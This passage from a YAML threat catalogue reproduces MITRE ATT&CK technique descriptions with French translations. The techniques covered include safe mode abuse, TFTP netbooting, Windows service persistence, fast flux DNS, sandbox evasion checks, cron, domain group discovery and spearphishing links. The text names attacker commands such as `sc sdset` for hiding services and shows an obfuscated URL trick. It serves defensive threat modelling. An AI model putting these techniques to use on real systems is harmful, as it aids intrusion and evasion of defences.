      Safe mode starts up the Windows operating system with a limited set of drivers
      and services. Third-party security software such as endpoint detection and response
      (EDR) tools may not start after booting Windows in safe mode. There are two
      versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible
      to start additional services after a safe mode boot.(Citation: Microsoft Safe
      Mode)(Citation: Sophos Snatch Ransomware 2019)


      Adversaries may abuse safe mode to disable endpoint defenses that may not start
      with a limited boot. Hosts can be forced into safe mode after the next reboot
      via modifications to Boot Configuration Data (BCD) stores, which are files that
      manage boot application settings.(Citation: Microsoft bcdedit 2021)


      Adversaries may also add their malicious applications to the list of minimal
      services that start in safe mode by modifying relevant Registry values (i.e.
      [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component
      Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may
      also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware
      2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus
      MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)

      https://attack.mitre.org/techniques/T1562/009'
    translations:
      fr:
        name: "D\xE9marrage en mode sans \xE9chec"
        description: "Les adversaires peuvent abuser du mode sans \xE9chec de Windows\
          \ pour d\xE9sactiver les d\xE9fenses des terminaux. Le mode sans \xE9chec\
          \ d\xE9marre le syst\xE8me d\u2019exploitation Windows avec un ensemble\
          \ limit\xE9 de pilotes et de services. Les logiciels de s\xE9curit\xE9 tiers,\
          \ tels que les outils de d\xE9tection et de r\xE9ponse aux points de terminaison\
          \ (EDR), peuvent ne pas d\xE9marrer apr\xE8s le d\xE9marrage de Windows\
          \ en mode sans \xE9chec. Il existe deux versions du mode sans \xE9chec :\
          \ le mode sans \xE9chec et le mode sans \xE9chec avec mise en r\xE9seau.\
          \ Il est possible de d\xE9marrer des services suppl\xE9mentaires apr\xE8\
          s un d\xE9marrage en mode sans \xE9chec. (Citation : Mode sans \xE9chec\
          \ de Microsoft)(Citation : Sophos Snatch Ransomware 2019)\n\nLes adversaires\
          \ peuvent abuser du mode sans \xE9chec pour d\xE9sactiver les d\xE9fenses\
          \ des terminaux qui ne peuvent pas d\xE9marrer avec un d\xE9marrage limit\xE9\
          . Les h\xF4tes peuvent \xEAtre forc\xE9s de passer en mode sans \xE9chec\
          \ apr\xE8s le prochain red\xE9marrage via des modifications apport\xE9es\
          \ aux magasins de donn\xE9es de configuration de d\xE9marrage (BCD), qui\
          \ sont des fichiers qui g\xE8rent les param\xE8tres de l\u2019application\
          \ de d\xE9marrage. (Citation : Microsoft bcdedit 2021)\n\nLes adversaires\
          \ peuvent \xE9galement ajouter leurs applications malveillantes \xE0 la\
          \ liste des services minimaux qui d\xE9marrent en mode sans \xE9chec en\
          \ modifiant les valeurs de registre pertinentes (c\u2019est-\xE0-dire [Modifier\
          \ le registre](https://attack.mitre.org/techniques/T1112)). Les objets malveillants\
          \ [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\
          \ (COM) peuvent \xE9galement \xEAtre enregistr\xE9s et charg\xE9s en mode\
          \ sans \xE9chec. (Citation : Sophos Snatch Ransomware 2019)(R\xE9f\xE9rence\
          \ : CyberArk Labs Mode sans \xE9chec 2016)(Citation : Cybereason Nocturnus\
          \ MedusaLocker 2020)(Citation : BleepingComputer REvil 2021)\nhttps://attack.mitre.org/techniques/T1562/009"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1542.005
    ref_id: T1542.005
    name: TFTP Boot
    description: 'Adversaries may abuse netbooting to load an unauthorized network
      device operating system from a Trivial File Transfer Protocol (TFTP) server.
      TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled
      network device images from a centralized management server. Netbooting is one
      option in the boot sequence and can be used to centralize, manage, and control
      device images.


      Adversaries may manipulate the configuration on the network device specifying
      use of a malicious TFTP server, which may be used in conjunction with [Modify
      System Image](https://attack.mitre.org/techniques/T1601) to load a modified
      image on device startup or reset. The unauthorized image allows adversaries
      to modify device configuration, add malicious capabilities to the device, and
      introduce backdoors to maintain control of the network device while minimizing
      detection through use of a standard functionality. This technique is similar
      to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result
      in the network device running a modified image. (Citation: Cisco Blog Legacy
      Device Attacks)

      https://attack.mitre.org/techniques/T1542/005'
    translations:
      fr:
        name: "D\xE9marrage TFTP"
        description: "Les adversaires peuvent abuser du netbooting pour charger un\
          \ syst\xE8me d\u2019exploitation de p\xE9riph\xE9rique r\xE9seau non autoris\xE9\
          \ \xE0 partir d\u2019un serveur TFTP (Trivial File Transfer Protocol). Le\
          \ d\xE9marrage TFTP (netbooting) est couramment utilis\xE9 par les administrateurs\
          \ r\xE9seau pour charger des images de p\xE9riph\xE9riques r\xE9seau contr\xF4\
          l\xE9es par la configuration \xE0 partir d\u2019un serveur de gestion centralis\xE9\
          . Le netbooting est une option de la s\xE9quence de d\xE9marrage et peut\
          \ \xEAtre utilis\xE9 pour centraliser, g\xE9rer et contr\xF4ler les images\
          \ de l\u2019appareil.\n\nLes adversaires peuvent manipuler la configuration\
          \ sur le p\xE9riph\xE9rique r\xE9seau en sp\xE9cifiant l\u2019utilisation\
          \ d\u2019un serveur TFTP malveillant, qui peut \xEAtre utilis\xE9 conjointement\
          \ avec [Modifier l\u2019image syst\xE8me](https://attack.mitre.org/techniques/T1601)\
          \ pour charger une image modifi\xE9e au d\xE9marrage ou \xE0 la r\xE9initialisation\
          \ du p\xE9riph\xE9rique. L\u2019image non autoris\xE9e permet aux adversaires\
          \ de modifier la configuration de l\u2019appareil, d\u2019ajouter des fonctionnalit\xE9\
          s malveillantes \xE0 l\u2019appareil et d\u2019introduire des portes d\xE9\
          rob\xE9es pour garder le contr\xF4le de l\u2019appareil r\xE9seau tout en\
          \ minimisant la d\xE9tection gr\xE2ce \xE0 l\u2019utilisation d\u2019une\
          \ fonctionnalit\xE9 standard. Cette technique est similaire \xE0 celle de\
          \ [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) et peut entra\xEE\
          ner l\u2019ex\xE9cution d\u2019une image modifi\xE9e par le p\xE9riph\xE9\
          rique r\xE9seau. (Citation : Blog Cisco Legacy Device Attacks)\nhttps://attack.mitre.org/techniques/T1542/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1543.003
    ref_id: T1543.003
    name: Windows Service
    description: "Adversaries may create or modify Windows services to repeatedly\
      \ execute malicious payloads as part of persistence. When Windows boots up,\
      \ it starts programs or applications called services that perform background\
      \ system functions.(Citation: TechNet Services) Windows service configuration\
      \ information, including the file path to the service's executable or recovery\
      \ programs/commands, is stored in the Windows Registry.\n\nAdversaries may install\
      \ a new service or modify an existing service to execute at startup in order\
      \ to persist on a system. Service configurations can be set or modified using\
      \ system utilities (such as sc.exe), by directly modifying the Registry, or\
      \ by interacting directly with the Windows API. \n\nAdversaries may also use\
      \ services to install and execute malicious drivers. For example, after dropping\
      \ a driver file (ex: `.sys`) to disk, the payload can be loaded and registered\
      \ via [Native API](https://attack.mitre.org/techniques/T1106) functions such\
      \ as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()`\
      \ and `ZwSetValueKey()`), by creating the required service Registry values (i.e.\
      \ [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using\
      \ command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet\
      \ Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42\
      \ AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s\
      \ to hide the presence of malicious activity on a system. Adversaries may also\
      \ load a signed yet vulnerable driver onto a compromised machine (known as \"\
      Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege\
      \ Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole\
      \ June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created\
      \ with administrator privileges but are executed under SYSTEM privileges, so\
      \ an adversary may also use a service to escalate privileges. Adversaries may\
      \ also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\
      \nTo make detection analysis more challenging, malicious services may also incorporate\
      \ [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004)\
      \ (ex: using a service and/or payload name related to a legitimate OS or benign\
      \ software component). Adversaries may also create \u2018hidden\u2019 services\
      \ (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example\
      \ by using the `sc sdset` command to set service permissions via the Service\
      \ Descriptor Definition Language (SDDL). This may hide a Windows service from\
      \ the view of standard service enumeration methods such as `Get-Service`, `sc\
      \ query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)\nhttps://attack.mitre.org/techniques/T1543/003"
    translations:
      fr:
        name: Windows Service
        description: "Les adversaires peuvent cr\xE9er ou modifier des services Windows\
          \ pour ex\xE9cuter \xE0 plusieurs reprises des charges utiles malveillantes\
          \ dans le cadre de la persistance. Lorsque Windows d\xE9marre, il d\xE9\
          marre des programmes ou des applications appel\xE9s services qui ex\xE9\
          cutent des fonctions syst\xE8me en arri\xE8re-plan. (Citation : TechNet\
          \ Services) Les informations de configuration du service Windows, y compris\
          \ le chemin d\u2019acc\xE8s au fichier ex\xE9cutable ou aux programmes/commandes\
          \ de r\xE9cup\xE9ration du service, sont stock\xE9es dans le registre Windows.\n\
          \nLes adversaires peuvent installer un nouveau service ou modifier un service\
          \ existant pour qu\u2019il s\u2019ex\xE9cute au d\xE9marrage afin de persister\
          \ sur un syst\xE8me. Les configurations de service peuvent \xEAtre d\xE9\
          finies ou modifi\xE9es \xE0 l\u2019aide d\u2019utilitaires syst\xE8me (tels\
          \ que sc.exe), en modifiant directement le registre ou en interagissant\
          \ directement avec l\u2019API Windows. \n\nLes adversaires peuvent \xE9\
          galement utiliser des services pour installer et ex\xE9cuter des pilotes\
          \ malveillants. Par exemple, apr\xE8s avoir d\xE9pos\xE9 un fichier de pilote\
          \ (ex : '.sys') sur le disque, la charge utile peut \xEAtre charg\xE9e et\
          \ enregistr\xE9e via des fonctions [API native](https://attack.mitre.org/techniques/T1106)\
          \ telles que 'CreateServiceW()' (ou manuellement via des fonctions telles\
          \ que 'ZwLoadDriver()' et 'ZwSetValueKey()'), en cr\xE9ant les valeurs de\
          \ registre de service requises (c\u2019est-\xE0-dire [Modifier le registre](https://attack.mitre.org/techniques/T1112)),\
          \ ou en utilisant des utilitaires de ligne de commande tels que 'PnPUtil.exe'.\
          \ (R\xE9f\xE9rence : Symantec W.32 Stuxnet Dossier)(Citation : Crowdstrike\
          \ DriveSlayer f\xE9vrier 2022)(Citation : Unit42 AcidBox, juin 2020) Les\
          \ adversaires peuvent exploiter ces pilotes en tant que [Rootkit](https://attack.mitre.org/techniques/T1014)\
          \ pour masquer la pr\xE9sence d\u2019une activit\xE9 malveillante sur un\
          \ syst\xE8me. Les adversaires peuvent \xE9galement charger un pilote sign\xE9\
          \ mais vuln\xE9rable sur une machine compromise (connu sous le nom de \xAB\
          \ Bring Your Own Vulnerable Driver \xBB (BYOVD)) dans le cadre de l'[Exploitation\
          \ pour l\u2019\xE9l\xE9vation de privil\xE8ges](https://attack.mitre.org/techniques/T1068).\
          \ (Citation : ESET InvisiMole, juin 2020)(Citation : Unit42 AcidBox, juin\
          \ 2020)\n\nLes services peuvent \xEAtre cr\xE9\xE9s avec des privil\xE8\
          ges d\u2019administrateur, mais sont ex\xE9cut\xE9s sous des privil\xE8\
          ges SYSTEM, de sorte qu\u2019un adversaire peut \xE9galement utiliser un\
          \ service pour \xE9lever les privil\xE8ges. Les adversaires peuvent \xE9\
          galement d\xE9marrer directement des services via [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\
          \nPour rendre l\u2019analyse de d\xE9tection plus difficile, les services\
          \ malveillants peuvent \xE9galement int\xE9grer [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004)\
          \ (par exemple, l\u2019utilisation d\u2019un service et/ou d\u2019un nom\
          \ de charge utile li\xE9 \xE0 un syst\xE8me d\u2019exploitation l\xE9gitime\
          \ ou \xE0 un composant logiciel inoffensif). Les adversaires peuvent \xE9\
          galement cr\xE9er des services \xAB cach\xE9s \xBB (c\u2019est-\xE0-dire\
          \ [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), par exemple\
          \ en utilisant la commande 'sc sdset' pour d\xE9finir les autorisations\
          \ de service via le langage SDDL (Service Descriptor Definition Language).\
          \ Cela peut masquer un service Windows de la vue des m\xE9thodes d\u2019\
          \xE9num\xE9ration de service standard telles que \xAB Get-Service \xBB,\
          \ \xAB sc query \xBB et \xAB services.exe \xBB. (Citation : SANS 1)(R\xE9\
          f\xE9rence : SANS 2)\nhttps://attack.mitre.org/techniques/T1543/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1568.001
    ref_id: T1568.001
    name: Fast Flux DNS
    description: 'Adversaries may use Fast Flux DNS to hide a command and control
      channel behind an array of rapidly changing IP addresses linked to a single
      domain resolution. This technique uses a fully qualified domain name, with multiple
      IP addresses assigned to it which are swapped with high frequency, using a combination
      of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource
      record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast
      Flux - Welivesecurity)


      The simplest, "single-flux" method, involves registering and de-registering
      an addresses as part of the DNS A (address) record list for a single DNS name.
      These registrations have a five-minute average lifespan, resulting in a constant
      shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)


      In contrast, the "double-flux" method registers and de-registers an address
      as part of the DNS Name Server record list for the DNS zone, providing additional
      resilience for the connection. With double-flux additional hosts can act as
      a proxy to the C2 host, further insulating the true source of the C2 channel.

      https://attack.mitre.org/techniques/T1568/001'
    translations:
      fr:
        name: "DNS \xE0 flux rapide"
        description: "Les adversaires peuvent utiliser le DNS Fast Flux pour masquer\
          \ un canal de commande et de contr\xF4le derri\xE8re un tableau d\u2019\
          adresses IP changeant rapidement et li\xE9 \xE0 une r\xE9solution de domaine\
          \ unique. Cette technique utilise un nom de domaine complet, avec plusieurs\
          \ adresses IP qui lui sont attribu\xE9es qui sont \xE9chang\xE9es \xE0 haute\
          \ fr\xE9quence, en utilisant une combinaison d\u2019adressage IP \xE0 tour\
          \ de r\xF4le et de courte dur\xE9e de vie (TTL) pour un enregistrement de\
          \ ressource DNS. (Citation : MehtaFastFluxPt1)(Citation : MehtaFastFluxPt2)(Citation\
          \ : Fast Flux - Welivesecurity)\n\nLa m\xE9thode la plus simple, \xAB \xE0\
          \ flux unique \xBB, consiste \xE0 enregistrer et \xE0 d\xE9sinscrire une\
          \ adresse dans le cadre de la liste d\u2019enregistrements DNS A (adresse)\
          \ pour un seul nom DNS. Ces enregistrements ont une dur\xE9e de vie moyenne\
          \ de cinq minutes, ce qui entra\xEEne un m\xE9lange constant de la r\xE9\
          solution des adresses IP. (Citation : Fast Flux - Welivesecurity)\n\nEn\
          \ revanche, la m\xE9thode \xAB double-flux \xBB enregistre et d\xE9senregistre\
          \ une adresse dans le cadre de la liste d\u2019enregistrements du serveur\
          \ de noms DNS pour la zone DNS, ce qui offre une r\xE9silience suppl\xE9\
          mentaire \xE0 la connexion. Avec le double flux, des h\xF4tes suppl\xE9\
          mentaires peuvent agir comme un proxy \xE0 l\u2019h\xF4te C2, isolant ainsi\
          \ davantage la v\xE9ritable source du canal C2.\nhttps://attack.mitre.org/techniques/T1568/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1497.001
    ref_id: T1497.001
    name: System Checks
    description: "Adversaries may employ various system checks to detect and avoid\
      \ virtualization and analysis environments. This may include changing behaviors\
      \ based on the results of checks for the presence of artifacts indicative of\
      \ a virtual machine environment (VME) or sandbox. If the adversary detects a\
      \ VME, they may alter their malware to disengage from the victim or conceal\
      \ the core functions of the implant. They may also search for VME artifacts\
      \ before dropping secondary or additional payloads. Adversaries may use the\
      \ information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)\
      \ during automated discovery to shape follow-on behaviors.(Citation: Deloitte\
      \ Environment Awareness)\n\nSpecific checks will vary based on the target and/or\
      \ adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047),\
      \ [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information\
      \ Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012)\
      \ to obtain system information and search for VME artifacts. Adversaries may\
      \ search for VME artifacts in memory, processes, file system, hardware, and/or\
      \ the Registry. Adversaries may use scripting to automate these checks  into\
      \ one script and then have the program exit if it determines the system to be\
      \ a virtual environment. \n\nChecks could include generic system properties\
      \ such as host/domain name and samples of network traffic. Adversaries may also\
      \ check the network adapters addresses, CPU core count, and available memory/drive\
      \ size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)\
      \ to check if it was saved in a folder or file with unexpected or even analysis-related\
      \ naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks\
      \ may enumerate services running that are unique to these applications, installed\
      \ programs on the system, manufacturer/product fields for strings relating to\
      \ virtual machine applications, and VME-specific hardware/processor instructions.(Citation:\
      \ McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also\
      \ use a special I/O port to send commands and receive output. \n \nHardware\
      \ checks, such as the presence of the fan, temperature, and audio devices, could\
      \ also be used to gather evidence that can be indicative a virtual environment.\
      \ Adversaries may also query for specific readings from these devices.(Citation:\
      \ Unit 42 OilRig Sept 2018)\nhttps://attack.mitre.org/techniques/T1497/001"
    translations:
      fr:
        name: "V\xE9rifications du syst\xE8me"
        description: "Les adversaires peuvent utiliser diverses v\xE9rifications du\
          \ syst\xE8me pour d\xE9tecter et \xE9viter les environnements de virtualisation\
          \ et d\u2019analyse. Il peut s\u2019agir de modifier les comportements en\
          \ fonction des r\xE9sultats des v\xE9rifications de la pr\xE9sence d\u2019\
          artefacts indiquant un environnement de machine virtuelle (VME) ou un bac\
          \ \xE0 sable. Si l\u2019adversaire d\xE9tecte un VME, il peut modifier son\
          \ logiciel malveillant pour se d\xE9sengager de la victime ou dissimuler\
          \ les fonctions essentielles de l\u2019implant. Ils peuvent \xE9galement\
          \ rechercher des artefacts VME avant de supprimer des charges utiles secondaires\
          \ ou suppl\xE9mentaires. Les adversaires peuvent utiliser les informations\
          \ apprises gr\xE2ce \xE0 la [virtualisation/\xE9vasion du bac \xE0 sable](https://attack.mitre.org/techniques/T1497)\
          \ lors de la d\xE9couverte automatis\xE9e pour fa\xE7onner des comportements\
          \ ult\xE9rieurs. (Citation : Sensibilisation \xE0 l\u2019environnement de\
          \ Deloitte)\n\nLes v\xE9rifications sp\xE9cifiques varient en fonction de\
          \ la cible et/ou de l\u2019adversaire, mais peuvent impliquer des comportements\
          \ tels que [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047),\
          \ [PowerShell](https://attack.mitre.org/techniques/T1059/001), [D\xE9couverte\
          \ des informations syst\xE8me](https://attack.mitre.org/techniques/T1082)\
          \ et [Registre des requ\xEAtes](https://attack.mitre.org/techniques/T1012)\
          \ pour obtenir des informations syst\xE8me et rechercher des artefacts VME.\
          \ Les adversaires peuvent rechercher des artefacts VME dans la m\xE9moire,\
          \ les processus, le syst\xE8me de fichiers, le mat\xE9riel et/ou le registre.\
          \ Les adversaires peuvent utiliser des scripts pour automatiser ces v\xE9\
          rifications en un seul script, puis faire en sorte que le programme se termine\
          \ s\u2019il d\xE9termine que le syst\xE8me est un environnement virtuel.\
          \ \n\nLes v\xE9rifications peuvent inclure des propri\xE9t\xE9s syst\xE8\
          me g\xE9n\xE9riques telles que le nom d\u2019h\xF4te/domaine et des \xE9\
          chantillons de trafic r\xE9seau. Les adversaires peuvent \xE9galement v\xE9\
          rifier les adresses des cartes r\xE9seau, le nombre de c\u0153urs du processeur\
          \ et la taille de la m\xE9moire ou du lecteur disponible. Une fois ex\xE9\
          cut\xE9s, les logiciels malveillants peuvent \xE9galement utiliser [D\xE9\
          couverte de fichiers et de r\xE9pertoires](https://attack.mitre.org/techniques/T1083)\
          \ pour v\xE9rifier s\u2019ils ont \xE9t\xE9 enregistr\xE9s dans un dossier\
          \ ou un fichier contenant des artefacts de d\xE9nomination inattendus ou\
          \ m\xEAme li\xE9s \xE0 l\u2019analyse, tels que \xAB malware \xBB, \xAB\
          \ sample \xBB ou \xAB hash \xBB.\n\nD\u2019autres v\xE9rifications courantes\
          \ peuvent \xE9num\xE9rer les services en cours d\u2019ex\xE9cution qui sont\
          \ uniques \xE0 ces applications, les programmes install\xE9s sur le syst\xE8\
          me, les champs fabricant/produit pour les cha\xEEnes relatives aux applications\
          \ de machine virtuelle et les instructions mat\xE9rielles/processeurs sp\xE9\
          cifiques \xE0 VME. (R\xE9f\xE9rence : McAfee Virtual janvier 2017) Dans\
          \ des applications telles que VMWare, les adversaires peuvent \xE9galement\
          \ utiliser un port d\u2019E/S sp\xE9cial pour envoyer des commandes et recevoir\
          \ des sorties. \n \nLes v\xE9rifications mat\xE9rielles, telles que la pr\xE9\
          sence du ventilateur, la temp\xE9rature et les appareils audio, peuvent\
          \ \xE9galement \xEAtre utilis\xE9es pour recueillir des preuves qui peuvent\
          \ indiquer un environnement virtuel. Les adversaires peuvent \xE9galement\
          \ demander des lectures sp\xE9cifiques \xE0 partir de ces appareils. (R\xE9\
          f\xE9rence : Unit 42 OilRig septembre 2018)\nhttps://attack.mitre.org/techniques/T1497/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1053.003
    ref_id: T1053.003
    name: Cron
    description: 'Adversaries may abuse the <code>cron</code> utility to perform task
      scheduling for initial or recurring execution of malicious code.(Citation: 20
      macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based
      job scheduler for Unix-like operating systems.  The <code> crontab</code> file
      contains the schedule of cron entries to be run and the specified times for
      execution. Any <code>crontab</code> files are stored in operating system-specific
      file paths.


      An adversary may use <code>cron</code> in Linux or Unix environments to execute
      programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003).

      https://attack.mitre.org/techniques/T1053/003'
    translations:
      fr:
        name: Cron
        description: "Les adversaires peuvent abuser de l\u2019utilitaire <code>cron</code>\
          \ pour effectuer la planification de t\xE2ches pour l\u2019ex\xE9cution\
          \ initiale ou r\xE9currente de code malveillant. (Citation : 20 outils et\
          \ techniques courants macOS) <code>L\u2019utilitaire cron</code> est un\
          \ planificateur de t\xE2ches bas\xE9 sur le temps pour les syst\xE8mes d\u2019\
          exploitation de type Unix.  Le fichier <code> crontab</code> contient le\
          \ calendrier des entr\xE9es cron \xE0 ex\xE9cuter et les heures d\u2019\
          ex\xE9cution sp\xE9cifi\xE9es. Tous les fichiers <code>crontab</code> sont\
          \ stock\xE9s dans des chemins d\u2019acc\xE8s sp\xE9cifiques au syst\xE8\
          me d\u2019exploitation.\n\nUn adversaire peut utiliser <code>cron</code>\
          \ dans des environnements Linux ou Unix pour ex\xE9cuter des programmes\
          \ au d\xE9marrage du syst\xE8me ou de mani\xE8re planifi\xE9e pour la [Persistance](https://attack.mitre.org/tactics/TA0003).\n\
          https://attack.mitre.org/techniques/T1053/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1069.002
    ref_id: T1069.002
    name: Domain Groups
    description: 'Adversaries may attempt to find domain-level groups and permission
      settings. The knowledge of domain-level permission groups can help adversaries
      determine which groups exist and which users belong to a particular group. Adversaries
      may use this information to determine which users have elevated permissions,
      such as domain administrators.


      Commands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039)
      utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code>
      on Linux can list domain-level groups.

      https://attack.mitre.org/techniques/T1069/002'
    translations:
      fr:
        name: Groupes de domaines
        description: "Les adversaires peuvent tenter de trouver des groupes au niveau\
          \ du domaine et des param\xE8tres d\u2019autorisation. La connaissance des\
          \ groupes d\u2019autorisations au niveau du domaine peut aider les adversaires\
          \ \xE0 d\xE9terminer quels groupes existent et quels utilisateurs appartiennent\
          \ \xE0 un groupe particulier. Les adversaires peuvent utiliser ces informations\
          \ pour d\xE9terminer quels utilisateurs disposent d\u2019autorisations \xE9\
          lev\xE9es, tels que les administrateurs de domaine.\n\nDes commandes telles\
          \ que <code>net group /domain</code> de l\u2019utilitaire [Net](https://attack.mitre.org/software/S0039),\
          \ <code>dscacheutil -q group</code> sous macOS et <code>ldapsearch</code>\
          \ sous Linux peuvent r\xE9pertorier les groupes de niveau domaine.\nhttps://attack.mitre.org/techniques/T1069/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1588.006
    ref_id: T1588.006
    name: Vulnerabilities
    description: 'Adversaries may acquire information about vulnerabilities that can
      be used during targeting. A vulnerability is a weakness in computer hardware
      or software that can, potentially, be exploited by an adversary to cause unintended
      or unanticipated behavior to occur. Adversaries may find vulnerability information
      by searching open databases or gaining access to closed vulnerability databases.(Citation:
      National Vulnerability Database)


      An adversary may monitor vulnerability disclosures/databases to understand the
      state of existing, as well as newly discovered, vulnerabilities. There is usually
      a delay between when a vulnerability is discovered and when it is made public.
      An adversary may target the systems of those known to conduct vulnerability
      research (including commercial vendors). Knowledge of a vulnerability may cause
      an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005))
      or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).

      https://attack.mitre.org/techniques/T1588/006'
    translations:
      fr:
        name: "Vuln\xE9rabilit\xE9s"
        description: "Les adversaires peuvent obtenir des informations sur les vuln\xE9\
          rabilit\xE9s qui peuvent \xEAtre utilis\xE9es lors du ciblage. Une vuln\xE9\
          rabilit\xE9 est une faiblesse dans le mat\xE9riel ou les logiciels d\u2019\
          un ordinateur qui peut, potentiellement, \xEAtre exploit\xE9e par un adversaire\
          \ pour provoquer un comportement involontaire ou impr\xE9vu. Les adversaires\
          \ peuvent trouver des informations sur les vuln\xE9rabilit\xE9s en effectuant\
          \ des recherches dans des bases de donn\xE9es ouvertes ou en acc\xE9dant\
          \ \xE0 des bases de donn\xE9es de vuln\xE9rabilit\xE9s ferm\xE9es. (Citation\
          \ : Base de donn\xE9es nationale sur les vuln\xE9rabilit\xE9s)\n\nUn adversaire\
          \ peut surveiller les divulgations de vuln\xE9rabilit\xE9s/bases de donn\xE9\
          es pour comprendre l\u2019\xE9tat des vuln\xE9rabilit\xE9s existantes et\
          \ nouvellement d\xE9couvertes. Il y a g\xE9n\xE9ralement un d\xE9lai entre\
          \ le moment o\xF9 une vuln\xE9rabilit\xE9 est d\xE9couverte et celui o\xF9\
          \ elle est rendue publique. Un adversaire peut cibler les syst\xE8mes de\
          \ ceux qui sont connus pour mener des recherches de vuln\xE9rabilit\xE9\
          \ (y compris les fournisseurs commerciaux). La connaissance d\u2019une vuln\xE9\
          rabilit\xE9 peut amener un adversaire \xE0 rechercher un exploit existant\
          \ (c\u2019est-\xE0-dire [Exploits](https://attack.mitre.org/techniques/T1588/005))\
          \ ou \xE0 tenter d\u2019en d\xE9velopper un lui-m\xEAme (https://attack.mitre.org/techniques/T1587/004).\n\
          https://attack.mitre.org/techniques/T1588/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1566.002
    ref_id: T1566.002
    name: Spearphishing Link
    description: "Adversaries may send spearphishing emails with a malicious link\
      \ in an attempt to gain access to victim systems. Spearphishing with a link\
      \ is a specific variant of spearphishing. It is different from other forms of\
      \ spearphishing in that it employs the use of links to download malware contained\
      \ in email, instead of attaching malicious files to the email itself, to avoid\
      \ defenses that may inspect email attachments. Spearphishing may also involve\
      \ social engineering techniques, such as posing as a trusted source.\n\nAll\
      \ forms of spearphishing are electronically delivered social engineering targeted\
      \ at a specific individual, company, or industry. In this case, the malicious\
      \ emails contain links. Generally, the links will be accompanied by social engineering\
      \ text and require the user to actively click or copy and paste a URL into a\
      \ browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204).\
      \ The visited website may compromise the web browser using an exploit, or the\
      \ user will be prompted to download applications, documents, zip files, or even\
      \ executables depending on the pretext for the email in the first place.\n\n\
      Adversaries may also include links that are intended to interact directly with\
      \ an email reader, including embedded images intended to exploit the end system\
      \ directly. Additionally, adversaries may use seemingly benign links that abuse\
      \ special characters to mimic legitimate websites (known as an \"IDN homograph\
      \ attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking\
      \ advantage of quirks in the URL schema, such as the acceptance of integer-\
      \ or hexadecimal-based hostname formats and the automatic discarding of text\
      \ before an \u201C@\u201D symbol: for example, `hxxp://google.com@1157586937`.(Citation:\
      \ Mandiant URL Obfuscation 2023)\n\nAdversaries may also utilize links to perform\
      \ consent phishing, typically with OAuth 2.0 request URLs that when accepted\
      \ by the user provide permissions/access for malicious applications, allowing\
      \ adversaries to  [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation:\
      \ Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary\
      \ to perform various actions on behalf of the user via API calls. (Citation:\
      \ Microsoft OAuth 2.0 Consent Phishing 2021)\n\nAdversaries may also utilize\
      \ spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s\
      \ that grant immediate access to the victim environment. For example, a user\
      \ may be lured through \u201Cconsent phishing\u201D into granting adversaries\
      \ permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend\
      \ Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing\
      \ 2021)\n\nSimilarly, malicious links may also target device-based authorization,\
      \ such as OAuth 2.0 device authorization grant flow which is typically used\
      \ to authenticate devices without UIs/browsers. Known as \u201Cdevice code phishing,\u201D\
      \ an adversary may send a link that directs the victim to a malicious authorization\
      \ page where the user is tricked into entering a code/credentials that produces\
      \ a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation:\
